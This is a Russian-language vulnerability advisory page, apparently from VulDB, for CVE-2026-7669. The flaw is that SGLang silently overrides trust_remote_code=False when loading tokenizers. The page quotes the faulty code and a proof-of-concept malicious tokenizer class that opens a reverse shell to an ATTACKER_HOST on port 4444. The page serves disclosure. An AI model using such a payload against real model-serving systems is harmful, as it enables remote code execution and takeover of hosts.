sgl-project SGLang до 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
6.9$0-$5k0.00

СводкаИнформация

Была найдена уязвимость, отнесённая к категории критический, в sgl-project SGLang до 0.5.9. Неизвестная функция файла python/sglang/srt/utils/hf_transformers_utils.py компонента HuggingFace Transformer Handler используется. Осуществление манипуляции над аргументом trust_remote_code с использованием значения False в контексте Boolean приводит к эскалация привилегий. Уязвимость зарегистрирована как CVE-2026-7669. Атаку можно осуществить удаленно. Кроме того, имеется доступный эксплойт.

ПодробностиИнформация

Была найдена уязвимость, отнесённая к категории критический, в sgl-project SGLang до 0.5.9. Неизвестная функция файла python/sglang/srt/utils/hf_transformers_utils.py компонента HuggingFace Transformer Handler используется. Осуществление манипуляции над аргументом trust_remote_code с использованием значения False в контексте Boolean приводит к эскалация привилегий. Декларирование проблемы с помощью CWE приводит к CWE-94. В данном уведомлении приводится следующая информация:

SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.
Данный баг был выявлен 07.04.2026. Информация о слабости была опубликована автором Nicholas Gould, David Rochester (ngould and davidrochester). В опубликованной информации говорится:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.

Уязвимость зарегистрирована как CVE-2026-7669. Атаку можно осуществить удаленно. Доступна техническая информация. Сложность атаки довольно высока. Эксплуатационная пригодность, как говорят, затруднена. Уровень популярности этой уязвимости ниже среднего значения. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. Проект MITRE ATT&CK объявляет технику атаки как T1059. Причина этой уязвимости заключается в следующем фрагменте кода:

# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )
В предупреждении говорится:
On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.

Указано значение Доказательство концепции. Эксплойт доступен по адресу github.com. Уязвимость оставалась в статусе непубличного эксплойта нулевого дня не менее 25 дней. Исходный код эксплойта:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def _init_(self, args, *kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super()._init_(args, *kwargs)
В уведомлении отмечается:
The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.

ПродуктИнформация

Тип

Поставщик

Имя

Версия

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔒
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 7.2
VulDB Meta Temp Score: 6.9

VulDB Базовый балл: 5.6
VulDB Временная оценка: 5.1
VulDB Вектор: 🔒
VulDB Надёжность: 🔍

Исследователь Базовый балл: 8.8
Исследователь Вектор: 🔒

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔒
VulDB Временная оценка: 🔒
VulDB Надёжность: 🔍

Исследователь Базовый балл: 🔒

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔒
Доступ: публичный
Статус: Доказательство концепции
Автор: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Язык программирования: 🔒
Скачать: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Прогноз цен: 🔍
Оценка текущей цены: 🔒

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: о смягчении не известно
Статус: 🔍

0-дневное время: 🔒
Задержка эксплуатации: 🔍

ХронологияИнформация

07.04.2026 Уязвимость обнаружена
07.04.2026 +0 дни Поставщик проинформирован
02.05.2026 +24 дни Консультация опубликована
02.05.2026 +0 дни Запись VulDB создана
03.05.2026 +1 дни Эксплойт опубликован
04.05.2026 +1 дни Последнее обновление VulDB

ИсточникиИнформация

Исследователь: Nicholas Gould, David Rochester (ngould, davidrochester)
Статус: Не определено

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 02.05.2026 10:05
Обновлено: 04.05.2026 06:26
Изменения: 02.05.2026 10:05 (54), 03.05.2026 04:01 (1), 04.05.2026 06:23 (51), 04.05.2026 06:26 (8)
Завершенный: 🔍
Отправитель: ngould
Коммиттер: ngould
Cache ID: 216::103

ОтправитьИнформация

принято

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Обсуждение

Do you need the next level of professionalism?

Upgrade your account now!